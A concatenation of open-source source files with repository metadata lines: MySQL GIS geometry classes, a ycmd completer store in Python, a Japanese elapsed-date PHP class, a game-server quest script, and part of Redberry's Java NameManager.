std::size_t Cartesian_polygon::size() const {
std::size_t sz = m_interior_rings.size();
if (!m_exterior_ring.empty()) sz++;
return sz;
}
Linearring &Cartesian_polygon::interior_ring(std::size_t n) {
return m_interior_rings[n];
}
bool Geographic_polygon::accept(Geometry_visitor *v) {
if (!v->visit_enter(this)) {
if (m_exterior_ring.accept(v)) return true;
for (auto &&ring : m_interior_rings) {
if (v->visit(this) || ring.accept(v)) return true;
}
}
return v->visit_leave(this);
}
Cartesian_linearring &Cartesian_polygon::cartesian_exterior_ring() const {
return const_cast<Cartesian_linearring &>(m_exterior_ring);
}
// Doxygen doesn't understand decltype as it is used here.
#ifndef IN_DOXYGEN
decltype(Cartesian_polygon::m_interior_rings) &
Cartesian_polygon::interior_rings() {
return m_interior_rings;
}
decltype(Cartesian_polygon::m_interior_rings) const &
Cartesian_polygon::const_interior_rings() const {
return m_interior_rings;
}
#endif // IN_DOXYGEN
void Geographic_polygon::push_back(Linearring &&lr) {
DBUG_ASSERT(lr.coordinate_system() == Coordinate_system::kGeographic);
if (m_exterior_ring.empty() && m_interior_rings.empty())
m_exterior_ring = static_cast<Geographic_linearring &&>(lr);
else
m_interior_rings.push_back(static_cast<Geographic_linearring &&>(lr));
}
bool Geographic_polygon::empty() const {
return m_exterior_ring.empty() && m_interior_rings.empty();
}
std::size_t Geographic_polygon::size() const {
std::size_t sz = m_interior_rings.size();
if (!m_exterior_ring.empty()) sz++;
return sz;
}
Geographic_linearring &Geographic_polygon::geographic_exterior_ring() const {
return const_cast<Geographic_linearring &>(m_exterior_ring);
}
Linearring &Geographic_polygon::interior_ring(std::size_t n) {
return m_interior_rings[n];
}
// Doxygen doesn't understand decltype as it is used here.
#ifndef IN_DOXYGEN
decltype(Geographic_polygon::m_interior_rings) &
Geographic_polygon::interior_rings() {
return m_interior_rings;
}
decltype(Geographic_polygon::m_interior_rings) const &
Geographic_polygon::const_interior_rings() const {
return m_interior_rings;
}
#endif // IN_DOXYGEN
Cartesian_geometrycollection::Cartesian_geometrycollection(
Cartesian_geometrycollection &gc)
: m_geometries(
Malloc_allocator<Geometry *>(key_memory_Geometry_objects_data)) {
for (Geometry *g : gc.m_geometries) {
switch (g->type()) {
case Geometry_type::kPoint:
m_geometries.push_back(
new Cartesian_point(*static_cast<Cartesian_point *>(g)));
break;
case Geometry_type::kLinestring:
m_geometries.push_back(
new Cartesian_linestring(*static_cast<Cartesian_linestring *>(g)));
break;
case Geometry_type::kPolygon:
m_geometries.push_back(
new Cartesian_polygon(*static_cast<Cartesian_polygon *>(g)));
break;
case Geometry_type::kGeometrycollection:
m_geometries.push_back(new Cartesian_geometrycollection(
*static_cast<Cartesian_geometrycollection *>(g)));
break;
case Geometry_type::kMultipoint:
m_geometries.push_back(
new Cartesian_multipoint(*static_cast<Cartesian_multipoint *>(g)));
break;
case Geometry_type::kMultilinestring:
m_geometries.push_back(new Cartesian_multilinestring(
*static_cast<Cartesian_multilinestring *>(g)));
break;
case Geometry_type::kMultipolygon:
m_geometries.push_back(new Cartesian_multipolygon(
*static_cast<Cartesian_multipolygon *>(g)));
break;
default:
DBUG_ASSERT(false); /* purecov: inspected */
}
}
}
bool Cartesian_geometrycollection::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_geometries.size() > 0) {
if (m_geometries[0]->accept(v)) return true;
for (decltype(m_geometries)::size_type i = 1; i < m_geometries.size();
i++) {
if (v->visit(this) || m_geometries[i]->accept(v)) return true;
}
}
return v->visit_leave(this);
}
void Cartesian_geometrycollection::push_back(Geometry &&g) {
switch (g.type()) {
case Geometry_type::kPoint:
m_geometries.push_back(
new Cartesian_point(static_cast<Cartesian_point &>(g)));
break;
case Geometry_type::kLinestring:
m_geometries.push_back(
new Cartesian_linestring(static_cast<Cartesian_linestring &>(g)));
break;
case Geometry_type::kPolygon:
m_geometries.push_back(
new Cartesian_polygon(static_cast<Cartesian_polygon &>(g)));
break;
case Geometry_type::kGeometrycollection:
m_geometries.push_back(new Cartesian_geometrycollection(
static_cast<Cartesian_geometrycollection &>(g)));
break;
case Geometry_type::kMultipoint:
m_geometries.push_back(
new Cartesian_multipoint(static_cast<Cartesian_multipoint &>(g)));
break;
case Geometry_type::kMultilinestring:
m_geometries.push_back(new Cartesian_multilinestring(
static_cast<Cartesian_multilinestring &>(g)));
break;
case Geometry_type::kMultipolygon:
m_geometries.push_back(
new Cartesian_multipolygon(static_cast<Cartesian_multipolygon &>(g)));
break;
default:
DBUG_ASSERT(false); /* purecov: inspected */
}
}
bool Cartesian_geometrycollection::empty() const {
return m_geometries.empty();
}
Geographic_geometrycollection::Geographic_geometrycollection(
Geographic_geometrycollection &gc)
: m_geometries(
Malloc_allocator<Geometry *>(key_memory_Geometry_objects_data)) {
for (Geometry *g : gc.m_geometries) {
switch (g->type()) {
case Geometry_type::kPoint:
m_geometries.push_back(
new Geographic_point(*static_cast<Geographic_point *>(g)));
break;
case Geometry_type::kLinestring:
m_geometries.push_back(new Geographic_linestring(
*static_cast<Geographic_linestring *>(g)));
break;
case Geometry_type::kPolygon:
m_geometries.push_back(
new Geographic_polygon(*static_cast<Geographic_polygon *>(g)));
break;
case Geometry_type::kGeometrycollection:
m_geometries.push_back(new Geographic_geometrycollection(
*static_cast<Geographic_geometrycollection *>(g)));
break;
case Geometry_type::kMultipoint:
m_geometries.push_back(new Geographic_multipoint(
*static_cast<Geographic_multipoint *>(g)));
break;
case Geometry_type::kMultilinestring:
m_geometries.push_back(new Geographic_multilinestring(
*static_cast<Geographic_multilinestring *>(g)));
break;
case Geometry_type::kMultipolygon:
m_geometries.push_back(new Geographic_multipolygon(
*static_cast<Geographic_multipolygon *>(g)));
break;
default:
DBUG_ASSERT(false); /* purecov: inspected */
}
}
}
bool Geographic_geometrycollection::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_geometries.size() > 0) {
if (m_geometries[0]->accept(v)) return true;
for (decltype(m_geometries)::size_type i = 1; i < m_geometries.size();
i++) {
if (v->visit(this) || m_geometries[i]->accept(v)) return true;
}
}
return v->visit_leave(this);
}
void Geographic_geometrycollection::push_back(Geometry &&g) {
switch (g.type()) {
case Geometry_type::kPoint:
m_geometries.push_back(
new Geographic_point(static_cast<Geographic_point &>(g)));
break;
case Geometry_type::kLinestring:
m_geometries.push_back(
new Geographic_linestring(static_cast<Geographic_linestring &>(g)));
break;
case Geometry_type::kPolygon:
m_geometries.push_back(
new Geographic_polygon(static_cast<Geographic_polygon &>(g)));
break;
case Geometry_type::kGeometrycollection:
m_geometries.push_back(new Geographic_geometrycollection(
static_cast<Geographic_geometrycollection &>(g)));
break;
case Geometry_type::kMultipoint:
m_geometries.push_back(
new Geographic_multipoint(static_cast<Geographic_multipoint &>(g)));
break;
case Geometry_type::kMultilinestring:
m_geometries.push_back(new Geographic_multilinestring(
static_cast<Geographic_multilinestring &>(g)));
break;
case Geometry_type::kMultipolygon:
m_geometries.push_back(new Geographic_multipolygon(
static_cast<Geographic_multipolygon &>(g)));
break;
default:
DBUG_ASSERT(false); /* purecov: inspected */
}
}
bool Geographic_geometrycollection::empty() const {
return m_geometries.empty();
}
bool Cartesian_multipoint::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_points.size() > 0) {
if (m_points[0].accept(v)) return true;
for (decltype(m_points)::size_type i = 1; i < m_points.size(); i++) {
if (v->visit(this) || m_points[i].accept(v)) return true;
}
}
return v->visit_leave(this);
}
void Cartesian_multipoint::push_back(Geometry &&pt) {
DBUG_ASSERT(pt.coordinate_system() == Coordinate_system::kCartesian);
m_points.push_back(static_cast<Cartesian_point &&>(pt));
}
bool Cartesian_multipoint::empty() const { return m_points.empty(); }
bool Geographic_multipoint::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_points.size() > 0) {
if (m_points[0].accept(v)) return true;
for (decltype(m_points)::size_type i = 1; i < m_points.size(); i++) {
if (v->visit(this) || m_points[i].accept(v)) return true;
}
}
return v->visit_leave(this);
}
void Geographic_multipoint::push_back(Geometry &&pt) {
DBUG_ASSERT(pt.coordinate_system() == Coordinate_system::kGeographic);
m_points.push_back(static_cast<Geographic_point &&>(pt));
}
bool Geographic_multipoint::empty() const { return m_points.empty(); }
bool Cartesian_multilinestring::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_linestrings.size() > 0) {
if (m_linestrings[0].accept(v)) return true;
for (decltype(m_linestrings)::size_type i = 1; i < m_linestrings.size();
i++) {
if (v->visit(this) || m_linestrings[i].accept(v)) return true;
}
}
return v->visit_leave(this);
}
void Cartesian_multilinestring::push_back(Geometry &&ls) {
DBUG_ASSERT(ls.coordinate_system() == Coordinate_system::kCartesian);
m_linestrings.push_back(static_cast<Cartesian_linestring &&>(ls));
}
bool Cartesian_multilinestring::empty() const { return m_linestrings.empty(); }
bool Geographic_multilinestring::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_linestrings.size() > 0) {
if (m_linestrings[0].accept(v)) return true;
for (decltype(m_linestrings)::size_type i = 1; i < m_linestrings.size();
i++) {
if (v->visit(this) || m_linestrings[i].accept(v)) return true;
}
}
return v->visit_leave(this);
}
void Geographic_multilinestring::push_back(Geometry &&ls) {
DBUG_ASSERT(ls.coordinate_system() == Coordinate_system::kGeographic);
m_linestrings.push_back(static_cast<Geographic_linestring &&>(ls));
}
bool Geographic_multilinestring::empty() const { return m_linestrings.empty(); }
bool Cartesian_multipolygon::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_polygons.size() > 0) {
if (m_polygons[0].accept(v)) return true;
for (decltype(m_polygons)::size_type i = 1; i < m_polygons.size(); i++) {
if (v->visit(this) || m_polygons[i].accept(v)) return true;
}
}
return v->visit_leave(this);
}
void Cartesian_multipolygon::push_back(Geometry &&py) {
DBUG_ASSERT(py.coordinate_system() == Coordinate_system::kCartesian);
m_polygons.push_back(static_cast<Cartesian_polygon &&>(py));
}
bool Cartesian_multipolygon::empty() const { return m_polygons.empty(); }
bool Geographic_multipolygon::accept(Geometry_visitor *v) {
if (!v->visit_enter(this) && m_polygons.size() > 0) {
if (m_polygons[0].accept(v)) return true;
for (decltype(m_polygons)::size_type i = 1; i < m_polygons.size(); i++) {
if (v->visit(this) || m_polygons[i].accept(v)) return true;
}
}
return v->visit_leave(this);
}
void Geographic_multipolygon::push_back(Geometry &&py) {
DBUG_ASSERT(py.coordinate_system() == Coordinate_system::kGeographic);
m_polygons.push_back(static_cast<Geographic_polygon &&>(py));
}
bool Geographic_multipolygon::empty() const { return m_polygons.empty(); }
} // namespace gis
| gunnarku/mysql-8.0 | sql/gis/geometries.cc | C++ | gpl-2.0 | 16,769 |
# Copyright (C) 2013 Stanislav Golovanov <stgolovanov@gmail.com>
# Google Inc.
#
# This file is part of ycmd.
#
# ycmd is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ycmd is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with ycmd. If not, see <http://www.gnu.org/licenses/>.
from ycmd.completers.completer import Completer
from ycmd.completers.all.identifier_completer import IdentifierCompleter
from ycmd.completers.general.filename_completer import FilenameCompleter
from ycmd.completers.general.ultisnips_completer import UltiSnipsCompleter
class GeneralCompleterStore( Completer ):
"""
Holds a list of completers that can be used in all filetypes.
It overrides all Competer API methods so that specific calls to
GeneralCompleterStore are passed to all general completers.
"""
def __init__( self, user_options ):
super( GeneralCompleterStore, self ).__init__( user_options )
self._identifier_completer = IdentifierCompleter( user_options )
self._filename_completer = FilenameCompleter( user_options )
self._ultisnips_completer = UltiSnipsCompleter( user_options )
self._non_filename_completers = [ self._identifier_completer ]
if user_options.get( 'use_ultisnips_completer', True ):
self._non_filename_completers.append( self._ultisnips_completer )
self._all_completers = [ self._identifier_completer,
self._filename_completer,
self._ultisnips_completer ]
self._current_query_completers = []
def SupportedFiletypes( self ):
return set()
def GetIdentifierCompleter( self ):
return self._identifier_completer
def ShouldUseNow( self, request_data ):
self._current_query_completers = []
if self._filename_completer.ShouldUseNow( request_data ):
self._current_query_completers = [ self._filename_completer ]
return True
should_use_now = False
for completer in self._non_filename_completers:
should_use_this_completer = completer.ShouldUseNow( request_data )
should_use_now = should_use_now or should_use_this_completer
if should_use_this_completer:
self._current_query_completers.append( completer )
return should_use_now
def ComputeCandidates( self, request_data ):
if not self.ShouldUseNow( request_data ):
return []
candidates = []
for completer in self._current_query_completers:
candidates += completer.ComputeCandidates( request_data )
return candidates
def OnFileReadyToParse( self, request_data ):
for completer in self._all_completers:
completer.OnFileReadyToParse( request_data )
def OnBufferVisit( self, request_data ):
for completer in self._all_completers:
completer.OnBufferVisit( request_data )
def OnBufferUnload( self, request_data ):
for completer in self._all_completers:
completer.OnBufferUnload( request_data )
def OnInsertLeave( self, request_data ):
for completer in self._all_completers:
completer.OnInsertLeave( request_data )
def OnCurrentIdentifierFinished( self, request_data ):
for completer in self._all_completers:
completer.OnCurrentIdentifierFinished( request_data )
def GettingCompletions( self ):
for completer in self._all_completers:
completer.GettingCompletions()
def Shutdown( self ):
for completer in self._all_completers:
completer.Shutdown()
| NorfairKing/sus-depot | shared/shared/vim/dotvim/bundle/YouCompleteMe/third_party/ycmd/ycmd/completers/general/general_completer_store.py | Python | gpl-2.0 | 3,879 |
<?php
/**
* @package %PACKAGE%
* @subpackage %FIELD.SUBPACKAGE%
* @license GNU/GPL, see LICENSE.php
*/
defined('_JEXEC') or die('Restricted access');
class SocialDateElapsed_ja_JP extends SocialDateElapsed
{
public $prefixAgo = "";
public $prefixFromNow = "今から";
public $suffixAgo = "前";
public $suffixFromNow = "後";
public function seconds() {
return "ほんの数秒";
}
public function minute() {
return "約一分";
}
public function minutes() {
return "%d 分";
}
public function hour() {
return "大体一時間";
}
public function hours() {
return "大体 %d 時間位";
}
public function day() {
return "一日";
}
public function days() {
return "%d 日ほど";
}
public function month() {
return "大体一ヶ月";
}
public function months() {
return "%d ヶ月ほど";
}
public function year() {
return "1年前";
}
public function years() {
return "%d 年";
}
public function wordSeparator() {
return "";
}
} | cuongnd/test_pro | administrator/components/com_easysocial/includes/date/elapsed/ja-JP.php | PHP | gpl-2.0 | 1,007 |
/*
* BlizzLikeCore integrates as part of this file: CREDITS.md and LICENSE.md
*/
/* ScriptData
Name: Silverpine_Forest
Complete(%): 100
Comment: Quest support: 1886, 435, 452
Category: Silverpine Forest
EndScriptData */
/* ContentData
npc_astor_hadren
npc_deathstalker_erland
pyrewood_ambush
EndContentData */
#include "ScriptPCH.h"
#include "ScriptedEscortAI.h"
/*######
## npc_astor_hadren
######*/
#define GOSSIP_HAH "You're Astor Hadren, right?"
#define GOSSIP_SAH "You've got something I need, Astor. And I'll be taking it now."
struct npc_astor_hadrenAI : public ScriptedAI
{
npc_astor_hadrenAI(Creature* c) : ScriptedAI(c) {}
void Reset()
{
me->setFaction(68);
}
void EnterCombat(Unit* /*who*/)
{
}
void JustDied(Unit* /*who*/)
{
me->setFaction(68);
}
};
CreatureAI* GetAI_npc_astor_hadren(Creature* pCreature)
{
return new npc_astor_hadrenAI(pCreature);
}
bool GossipHello_npc_astor_hadren(Player* pPlayer, Creature* pCreature)
{
if (pPlayer->GetQuestStatus(1886) == QUEST_STATUS_INCOMPLETE)
pPlayer->ADD_GOSSIP_ITEM(GOSSIP_ICON_CHAT, GOSSIP_HAH, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF + 1);
pPlayer->SEND_GOSSIP_MENU(623, pCreature->GetGUID());
return true;
}
bool GossipSelect_npc_astor_hadren(Player* pPlayer, Creature* pCreature, uint32 /*uiSender*/, uint32 uiAction)
{
switch (uiAction)
{
case GOSSIP_ACTION_INFO_DEF + 1:
pPlayer->ADD_GOSSIP_ITEM(GOSSIP_ICON_CHAT, GOSSIP_SAH, GOSSIP_SENDER_MAIN, GOSSIP_ACTION_INFO_DEF + 2);
pPlayer->SEND_GOSSIP_MENU(624, pCreature->GetGUID());
break;
case GOSSIP_ACTION_INFO_DEF + 2:
pPlayer->CLOSE_GOSSIP_MENU();
pCreature->setFaction(21);
if (pPlayer)
CAST_AI(npc_astor_hadrenAI, pCreature->AI())->AttackStart(pPlayer);
break;
}
return true;
}
/*######
## npc_deathstalker_erland
######*/
enum eErland
{
SAY_QUESTACCEPT = -1000306,
SAY_START = -1000307,
SAY_AGGRO_1 = -1000308,
SAY_AGGRO_2 = -1000309,
SAY_AGGRO_3 = -1000310,
SAY_LAST = -1000311,
SAY_THANKS = -1000312,
SAY_RANE = -1000313,
SAY_ANSWER = -1000314,
SAY_MOVE_QUINN = -1000315,
SAY_GREETINGS = -1000316,
SAY_QUINN = -1000317,
SAY_ON_BYE = -1000318,
QUEST_ESCORTING = 435,
NPC_RANE = 1950,
NPC_QUINN = 1951
};
struct npc_deathstalker_erlandAI : public npc_escortAI
{
npc_deathstalker_erlandAI(Creature* c) : npc_escortAI(c) {}
void WaypointReached(uint32 i)
{
Player* pPlayer = GetPlayerForEscort();
if (!pPlayer)
return;
switch(i)
{
case 1: DoScriptText(SAY_START, me, pPlayer);break;
case 13:
DoScriptText(SAY_LAST, me, pPlayer);
pPlayer->GroupEventHappens(QUEST_ESCORTING, me); break;
case 14: DoScriptText(SAY_THANKS, me, pPlayer); break;
case 15: {
Unit* Rane = me->FindNearestCreature(NPC_RANE, 20);
if (Rane)
DoScriptText(SAY_RANE, Rane);
break;}
case 16: DoScriptText(SAY_ANSWER, me); break;
case 17: DoScriptText(SAY_MOVE_QUINN, me); break;
case 24: DoScriptText(SAY_GREETINGS, me); break;
case 25: {
Unit* Quinn = me->FindNearestCreature(NPC_QUINN, 20);
if (Quinn)
DoScriptText(SAY_QUINN, Quinn);
break;}
case 26: DoScriptText(SAY_ON_BYE, me, NULL); break;
}
}
void Reset() {}
void EnterCombat(Unit* who)
{
DoScriptText(RAND(SAY_AGGRO_1,SAY_AGGRO_2,SAY_AGGRO_3), me, who);
}
};
bool QuestAccept_npc_deathstalker_erland(Player* pPlayer, Creature* pCreature, Quest const* quest)
{
if (quest->GetQuestId() == QUEST_ESCORTING)
{
DoScriptText(SAY_QUESTACCEPT, pCreature, pPlayer);
if (npc_escortAI* pEscortAI = CAST_AI(npc_deathstalker_erlandAI, pCreature->AI()))
pEscortAI->Start(true, false, pPlayer->GetGUID());
}
return true;
}
CreatureAI* GetAI_npc_deathstalker_erlandAI(Creature* pCreature)
{
return new npc_deathstalker_erlandAI(pCreature);
}
/*######
## pyrewood_ambush
#######*/
#define QUEST_PYREWOOD_AMBUSH 452
#define NPCSAY_INIT "Get ready, they'll be arriving any minute..." //not blizzlike
#define NPCSAY_END "Thanks for your help!" //not blizzlike
static float PyrewoodSpawnPoints[3][4] =
{
//pos_x pos_y pos_z orien
//door
{-396.17f, 1505.86f, 19.77f, 0},
{-396.91f, 1505.77f, 19.77f, 0},
{-397.94f, 1504.74f, 19.77f, 0},
};
#define WAIT_SECS 6000
struct pyrewood_ambushAI : public ScriptedAI
{
pyrewood_ambushAI(Creature* c) : ScriptedAI(c), Summons(me)
{
QuestInProgress = false;
}
uint32 Phase;
int8 KillCount;
uint32 WaitTimer;
uint64 PlayerGUID;
SummonList Summons;
bool QuestInProgress;
void Reset()
{
WaitTimer = WAIT_SECS;
if (!QuestInProgress) //fix reset values (see UpdateVictim)
{
Phase = 0;
KillCount = 0;
PlayerGUID = 0;
Summons.DespawnAll();
}
}
void EnterCombat(Unit* /*who*/){}
void JustSummoned(Creature* pSummoned)
{
Summons.Summon(pSummoned);
++KillCount;
}
void SummonedCreatureDespawn(Creature* pSummoned)
{
Summons.Despawn(pSummoned);
--KillCount;
}
void SummonCreatureWithRandomTarget(uint32 creatureId, int position)
{
if (Creature* pSummoned = me->SummonCreature(creatureId, PyrewoodSpawnPoints[position][0], PyrewoodSpawnPoints[position][1], PyrewoodSpawnPoints[position][2], PyrewoodSpawnPoints[position][3], TEMPSUMMON_CORPSE_TIMED_DESPAWN, 15000))
{
Player* pPlayer = NULL;
Unit* pTarget = NULL;
if (PlayerGUID)
{
pPlayer = Unit::GetPlayer(*me, PlayerGUID);
if (pPlayer)
pTarget = RAND((Unit*)me, (Unit*)pPlayer);
} else
pTarget = me;
if (pTarget)
{
pSummoned->setFaction(168);
pSummoned->AddThreat(pTarget, 32.0f);
pSummoned->AI()->AttackStart(pTarget);
}
}
}
void JustDied(Unit* /*pKiller*/)
{
if (PlayerGUID)
if (Player* pPlayer = Unit::GetPlayer(*me, PlayerGUID))
if (pPlayer->GetQuestStatus(QUEST_PYREWOOD_AMBUSH) == QUEST_STATUS_INCOMPLETE)
pPlayer->FailQuest(QUEST_PYREWOOD_AMBUSH);
}
void UpdateAI(const uint32 diff)
{
//sLog.outString("DEBUG: p(%i) k(%i) d(%u) W(%i)", Phase, KillCount, diff, WaitTimer);
if (!QuestInProgress)
return;
if (KillCount && Phase < 6)
{
if (!UpdateVictim()) //reset() on target Despawn...
return;
DoMeleeAttackIfReady();
return;
}
switch (Phase)
{
case 0:
if (WaitTimer == WAIT_SECS)
me->MonsterSay(NPCSAY_INIT, LANG_UNIVERSAL, 0); //no blizzlike
if (WaitTimer <= diff)
{
WaitTimer -= diff;
return;
}
break;
case 1:
SummonCreatureWithRandomTarget(2060, 1);
break;
case 2:
SummonCreatureWithRandomTarget(2061, 2);
SummonCreatureWithRandomTarget(2062, 0);
break;
case 3:
SummonCreatureWithRandomTarget(2063, 1);
SummonCreatureWithRandomTarget(2064, 2);
SummonCreatureWithRandomTarget(2065, 0);
break;
case 4:
SummonCreatureWithRandomTarget(2066, 1);
SummonCreatureWithRandomTarget(2067, 0);
SummonCreatureWithRandomTarget(2068, 2);
break;
case 5: //end
if (PlayerGUID)
{
if (Player* pPlayer = Unit::GetPlayer(*me, PlayerGUID))
{
me->MonsterSay(NPCSAY_END, LANG_UNIVERSAL, 0); //not blizzlike
pPlayer->GroupEventHappens(QUEST_PYREWOOD_AMBUSH, me);
}
}
QuestInProgress = false;
Reset();
break;
}
++Phase; //prepare next phase
}
};
CreatureAI* GetAI_pyrewood_ambush(Creature* pCreature)
{
return new pyrewood_ambushAI (pCreature);
}
bool QuestAccept_pyrewood_ambush(Player* pPlayer, Creature* pCreature, const Quest *pQuest)
{
if (pQuest->GetQuestId() == QUEST_PYREWOOD_AMBUSH && !CAST_AI(pyrewood_ambushAI, pCreature->AI())->QuestInProgress)
{
CAST_AI(pyrewood_ambushAI, pCreature->AI())->QuestInProgress = true;
CAST_AI(pyrewood_ambushAI, pCreature->AI())->Phase = 0;
CAST_AI(pyrewood_ambushAI, pCreature->AI())->KillCount = 0;
CAST_AI(pyrewood_ambushAI, pCreature->AI())->PlayerGUID = pPlayer->GetGUID();
}
return true;
}
/*######
## AddSC
######*/
void AddSC_silverpine_forest()
{
Script *newscript;
newscript = new Script;
newscript->Name = "npc_astor_hadren";
newscript->pGossipHello = &GossipHello_npc_astor_hadren;
newscript->pGossipSelect = &GossipSelect_npc_astor_hadren;
newscript->GetAI = &GetAI_npc_astor_hadren;
newscript->RegisterSelf();
newscript = new Script;
newscript->Name = "npc_deathstalker_erland";
newscript->GetAI = &GetAI_npc_deathstalker_erlandAI;
newscript->pQuestAccept = &QuestAccept_npc_deathstalker_erland;
newscript->RegisterSelf();
newscript = new Script;
newscript->Name = "pyrewood_ambush";
newscript->GetAI = &GetAI_pyrewood_ambush;
newscript->pQuestAccept = &QuestAccept_pyrewood_ambush;
newscript->RegisterSelf();
}
| Suwai/SunfireCore | src/scripts/EasternKingdoms/silverpine_forest.cpp | C++ | gpl-2.0 | 10,232 |
/*
* Redberry: symbolic tensor computations.
*
* Copyright (c) 2010-2013:
* Stanislav Poslavsky <stvlpos@mail.ru>
* Bolotin Dmitriy <bolotin.dmitriy@gmail.com>
*
* This file is part of Redberry.
*
* Redberry is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Redberry is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Redberry. If not, see <http://www.gnu.org/licenses/>.
*/
package cc.redberry.core.context;
import cc.redberry.core.indices.IndexType;
import cc.redberry.core.indices.StructureOfIndices;
import cc.redberry.core.parser.ParserException;
import cc.redberry.core.utils.ArraysUtils;
import cc.redberry.core.utils.IntArrayList;
import org.apache.commons.math3.random.RandomGenerator;
import org.apache.commons.math3.random.Well44497b;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantReadWriteLock;
/**
* Object of this class represents a namespace of simple tensor and tensor fields in Redberry.
* It is responsible for generation of unique name descriptors ({@link NameDescriptor}) and integer
* identifiers for simple tensors and fields from raw data. These identifiers are the same for tensors
* with the same mathematical nature. They are generated randomly in order to obtain the uniform distribution
* through Redberry session. Each session of Redberry holds only one instance of this class, it can be obtained
* through {@link CC#getNameManager()}.
*
* @author Dmitry Bolotin
* @author Stanislav Poslavsky
* @since 1.0
*/
public final class NameManager {
private long seed;
private final RandomGenerator random;
private final ReentrantReadWriteLock readWriteLock = new ReentrantReadWriteLock();
private final Lock readLock = readWriteLock.readLock();
private final Lock writeLock = readWriteLock.writeLock();
private final Map<Integer, NameDescriptor> fromId = new HashMap<>();
private final Map<NameAndStructureOfIndices, NameDescriptor> fromStructure = new HashMap<>();
private final String[] kroneckerAndMetricNames = {"d", "g"};
private final IntArrayList kroneckerAndMetricIds = new IntArrayList();
NameManager(Long seed, String kronecker, String metric) {
if (seed == null) {
random = new Well44497b();
random.setSeed(this.seed = random.nextLong());
} else
random = new Well44497b(this.seed = seed);
kroneckerAndMetricNames[0] = kronecker;
kroneckerAndMetricNames[1] = metric;
}
/**
* Returns {@code true} if specified identifier is identifier of metric or Kronecker tensor
*
* @param name unique simple tensor identifier
* @return {@code true} if specified identifier is identifier of metric or Kronecker tensor
*/
public boolean isKroneckerOrMetric(int name) {
return ArraysUtils.binarySearch(kroneckerAndMetricIds, name) >= 0;
}
/**
* Returns string representation of Kronecker delta name
*
* @return string representation of Kronecker delta name
*/
public String getKroneckerName() {
return kroneckerAndMetricNames[0];
}
/**
* Returns string representation of metric tensor name
*
* @return string representation of metric tensor name
*/
public String getMetricName() {
return kroneckerAndMetricNames[1];
}
/**
* Sets the default Kronecker tensor name. After this step, Kronecker tensor
* will be printed with the specified string name.
*
* @param name string representation of Kronecker tensor name
*/
public void setKroneckerName(String name) {
kroneckerAndMetricNames[0] = name;
rebuild();
}
/**
* Sets the default metric tensor name. After this step, metric tensor
* will be printed with the specified string name.
*
* @param name string representation of metric tensor name
*/
public void setMetricName(String name) {
kroneckerAndMetricNames[1] = name;
rebuild();
}
private void rebuild() {
writeLock.lock();
try {
fromStructure.clear();
for (NameDescriptor descriptor : fromId.values())
for (NameAndStructureOfIndices itsan : descriptor.getKeys())
fromStructure.put(itsan, descriptor);
} finally {
writeLock.unlock();
}
}
private NameDescriptor createDescriptor(final String sname, final StructureOfIndices[] structuresOfIndices, int id) {
if (structuresOfIndices.length != 1)
return new NameDescriptorImpl(sname, structuresOfIndices, id);
final StructureOfIndices its = structuresOfIndices[0];
if (its.size() != 2)
return new NameDescriptorImpl(sname, structuresOfIndices, id);
for (byte b = 0; b < IndexType.TYPES_COUNT; ++b)
if (its.typeCount(b) == 2) {
if (CC.isMetric(b)) {
if (sname.equals(kroneckerAndMetricNames[0]) || sname.equals(kroneckerAndMetricNames[1])) {
NameDescriptor descriptor = new NameDescriptorForMetricAndKronecker(kroneckerAndMetricNames, b, id);
descriptor.getSymmetries().add(b, false, 1, 0);
return descriptor;
}
} else {
if (sname.equals(kroneckerAndMetricNames[1]))
throw new ParserException("Metric is not specified for non metric index type.");
if (sname.equals(kroneckerAndMetricNames[0])) {
if (its.getTypeData(b).states.get(0) != true || its.getTypeData(b).states.get(1) != false)
throw new ParserException("Illegal Kroneckers indices states.");
NameDescriptor descriptor = new NameDescriptorForMetricAndKronecker(kroneckerAndMetricNames, b, id);
return descriptor;
}
}
}
return new NameDescriptorImpl(sname, structuresOfIndices, id);
}
/**
* This method returns the existing name descriptor of simple tensor from the raw data if it contains in the
* namespace or constructs and puts to namespace new instance of name descriptor otherwise.
*
* @param sname string name of tensor
* @param structureOfIndiceses structure of tensor indices (first element in array) and structure of indices
* of arguments (in case of tensor field)
* @return name descriptor corresponding to the specified information of tensor
*/
public NameDescriptor mapNameDescriptor(String sname, StructureOfIndices... structureOfIndiceses) {
NameAndStructureOfIndices key = new NameAndStructureOfIndices(sname, structureOfIndiceses);
boolean rLocked = true;
readLock.lock();
try {
NameDescriptor knownND = fromStructure.get(key);
if (knownND == null) {
readLock.unlock();
rLocked = false;
writeLock.lock();
try {
knownND = fromStructure.get(key);
if (knownND == null) { //Double check
int name = generateNewName();
NameDescriptor descriptor = createDescriptor(sname, structureOfIndiceses, name);
if (descriptor instanceof NameDescriptorForMetricAndKronecker) {
kroneckerAndMetricIds.add(name);
kroneckerAndMetricIds.sort();
}
fromId.put(name, descriptor);
for (NameAndStructureOfIndices key1 : descriptor.getKeys())
fromStructure.put(key1, descriptor);
return descriptor;
}
readLock.lock();
rLocked = true;
} finally {
writeLock.unlock();
}
}
return knownND;
} finally {
if (rLocked)
readLock.unlock();
}
}
/**
* See {@link Context#resetTensorNames()}.
*/
void reset() {
writeLock.lock();
try {
kroneckerAndMetricIds.clear();
fromId.clear();
fromStructure.clear();
